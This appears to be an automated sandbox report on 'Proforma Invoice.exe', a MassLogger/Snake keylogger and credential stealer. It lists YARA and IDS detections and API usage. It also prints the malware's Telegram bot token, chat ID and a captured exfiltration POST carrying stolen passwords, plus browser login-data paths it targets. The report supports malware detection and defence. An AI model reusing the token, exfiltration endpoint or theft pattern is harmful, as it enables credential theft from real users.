Edit tour

Windows Analysis Report
Proforma Invoice.exe

Overview

General Information

Sample name:	Proforma Invoice.exe
Analysis ID:	1580085
MD5:	58d259f56b4715bcea1ddebbc2735eb2
SHA1:	70ed1319ecebab15376dca298c0add6884c1f7f6
SHA256:	d88aeea1b3297511f942b7caab86deab58ed647d5a6bbce0844b83481dd259a7
Tags:	exeuser-TeamDreier
Infos:

Detection

MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected MassLogger RAT

Yara detected Telegram RAT

.NET source code references suspicious native API functions

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

Contains functionality to log keystrokes (.Net Source)

Initial sample is a PE file and has a suspicious name

Machine Learning detection for sample

Maps a DLL or memory area into another process

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to block mouse and keyboard input (often used to hinder debugging)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains functionality to simulate keystroke presses

Contains functionality to simulate mouse events

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

OS version to string mapping found (often used in BOTs)

Potential key logger detected (key state polling based)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

Proforma Invoice.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\Proforma Invoice.exe" MD5: 58D259F56B4715BCEA1DDEBBC2735EB2)

RegSvcs.exe (PID: 7324 cmdline: "C:\Users\user\Desktop\Proforma Invoice.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xef73:$a1: get_encryptedPassword 0xf29b:$a2: get_encryptedUsername 0xed0e:$a3: get_timePasswordChanged 0xee2f:$a4: get_passwordField 0xef89:$a5: set_encryptedPassword 0x108e5:$a7: get_logins 0x10596:$a8: GetOutlookPasswords 0x10388:$a9: StartKeylogger 0x10835:$a10: KeyLoggerEventArgs 0x103e5:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Proforma Invoice.exe PID: 7308	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: Proforma Invoice.exe PID: 7308	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Proforma Invoice.exe PID: 7308	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: Proforma Invoice.exe PID: 7308	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xfb891:$a1: get_encryptedPassword 0xfbbaa:$a2: get_encryptedUsername 0xfb640:$a3: get_timePasswordChanged 0xfb761:$a4: get_passwordField 0xfb8a7:$a5: set_encryptedPassword 0xfd1aa:$a7: get_logins 0xfce5b:$a8: GetOutlookPasswords 0xfcc4d:$a9: StartKeylogger 0xfd0fa:$a10: KeyLoggerEventArgs 0xfccaa:$a11: KeyLoggerEventArgsEventHandler
Process Memory Space: RegSvcs.exe PID: 7324	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7324	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7324	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: RegSvcs.exe PID: 7324	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x4fe5:$a1: get_encryptedPassword 0x52fe:$a2: get_encryptedUsername 0x4d94:$a3: get_timePasswordChanged 0x4eb5:$a4: get_passwordField 0x4ffb:$a5: set_encryptedPassword 0x68fe:$a7: get_logins 0x65af:$a8: GetOutlookPasswords 0x63a1:$a9: StartKeylogger 0x684e:$a10: KeyLoggerEventArgs 0x63fe:$a11: KeyLoggerEventArgsEventHandler
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
1.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
1.2.RegSvcs.exe.400000.0.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
0.2.Proforma Invoice.exe.1e60000.1.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.Proforma Invoice.exe.1e60000.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice.exe.1e60000.1.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice.exe.1e60000.1.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xd373:$a1: get_encryptedPassword 0xd69b:$a2: get_encryptedUsername 0xd10e:$a3: get_timePasswordChanged 0xd22f:$a4: get_passwordField 0xd389:$a5: set_encryptedPassword 0xece5:$a7: get_logins 0xe996:$a8: GetOutlookPasswords 0xe788:$a9: StartKeylogger 0xec35:$a10: KeyLoggerEventArgs 0xe7e5:$a11: KeyLoggerEventArgsEventHandler
0.2.Proforma Invoice.exe.1e60000.1.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x12325:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x11823:$a3: \Google\Chrome\User Data\Default\Login Data 0x11b31:$a4: \Orbitum\User Data\Default\Login Data 0x12929:$a5: \Kometa\User Data\Default\Login Data
0.2.Proforma Invoice.exe.1e60000.1.raw.unpack	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
0.2.Proforma Invoice.exe.1e60000.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Proforma Invoice.exe.1e60000.1.raw.unpack	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0.2.Proforma Invoice.exe.1e60000.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0xf173:$a1: get_encryptedPassword 0xf49b:$a2: get_encryptedUsername 0xef0e:$a3: get_timePasswordChanged 0xf02f:$a4: get_passwordField 0xf189:$a5: set_encryptedPassword 0x10ae5:$a7: get_logins 0x10796:$a8: GetOutlookPasswords 0x10588:$a9: StartKeylogger 0x10a35:$a10: KeyLoggerEventArgs 0x105e5:$a11: KeyLoggerEventArgsEventHandler
0.2.Proforma Invoice.exe.1e60000.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x14125:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x13623:$a3: \Google\Chrome\User Data\Default\Login Data 0x13931:$a4: \Orbitum\User Data\Default\Login Data 0x14729:$a5: \Kometa\User Data\Default\Login Data
Click to see the 10 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T21:50:22.759148+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49732	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T21:50:12.980194+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.6.168	80	TCP
2024-12-23T21:50:20.370754+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49730	193.122.6.168	80	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T21:50:21.959607+0100	1810008	1	Potentially Bad Traffic	192.168.2.4	49732	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd236981062ef2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.0000000003104000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot-/sendDocument?chat_id=
Source: RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839
Source: RegSvcs.exe, 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org8
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: Proforma Invoice.exe, 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: RegSvcs.exe, 00000001.00000002.4216346327.0000000003110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49732 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, UltraSpeed.cs

.Net Code: VKCodeToUnicode

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_00714164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00714164

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_00714164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00714164

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_00713F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_00713F66

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_0070001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_0070001C

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_0072CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0072CABC

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 1.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Proforma Invoice.exe.1e60000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0.2.Proforma Invoice.exe.1e60000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000001.00000002.4215515073.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000000.00000002.1769500519.0000000001E60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Process Memory Space: Proforma Invoice.exe PID: 7308, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 7324, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: This is a third-party compiled AutoIt script.	0_2_006A3B3A
Source: Proforma Invoice.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: Proforma Invoice.exe, 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_c405712f-7
Source: Proforma Invoice.exe, 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_a7c062bc-5
Source: Proforma Invoice.exe	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_0a56c18e-3
Source: Proforma Invoice.exe	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_cc4d4d90-c

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: Proforma Invoice.exe

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_0070A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_0070A1EF

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_006F8310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_006F8310

Source: C:\Users\user\Desktop\Proforma Invoice.exe

Code function: 0_2_007051BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_007051BD

Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006AE6A0	0_2_006AE6A0
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CD975	0_2_006CD975
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C21C5	0_2_006C21C5
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006D62D2	0_2_006D62D2
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_007203DA	0_2_007203DA
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006D242E	0_2_006D242E
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C25FA	0_2_006C25FA
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006FE616	0_2_006FE616
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B66E1	0_2_006B66E1
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006D878F	0_2_006D878F
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00720857	0_2_00720857
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006D6844	0_2_006D6844
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B8808	0_2_006B8808
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00708889	0_2_00708889
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CCB21	0_2_006CCB21
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006D6DB6	0_2_006D6DB6
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B6F9E	0_2_006B6F9E
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B3030	0_2_006B3030
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CF1D9	0_2_006CF1D9
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C3187	0_2_006C3187
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006A1287	0_2_006A1287
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C1484	0_2_006C1484
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B5520	0_2_006B5520
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C7696	0_2_006C7696
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B5760	0_2_006B5760
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C1978	0_2_006C1978
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006D9AB5	0_2_006D9AB5
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006AFCE0	0_2_006AFCE0
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_00727DDB	0_2_00727DDB
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006CBDA6	0_2_006CBDA6
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006C1D90	0_2_006C1D90
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006ADF00	0_2_006ADF00
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_006B3FE0	0_2_006B3FE0
Source: C:\Users\user\Desktop\Proforma Invoice.exe	Code function: 0_2_01E53620	0_2_01E53620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_016A60E0	1_2_016A60E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_016A4328	1_2_016A4328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_016A8DA0	1_2_016A8DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_016A5968	1_2_016A5968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_016A27B9	1_2_016A27B9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_016A2DD1	1_2_016A2DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569C668	1_2_0569C668
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05690040	1_2_05690040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569C010	1_2_0569C010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05697210	1_2_05697210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_05692CF0	1_2_05692CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569EE70	1_2_0569EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_056978E0	1_2_056978E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569E5C0	1_2_0569E5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569E5B0	1_2_0569E5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569D460	1_2_0569D460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 1_2_0569D450	1_2_0569D450
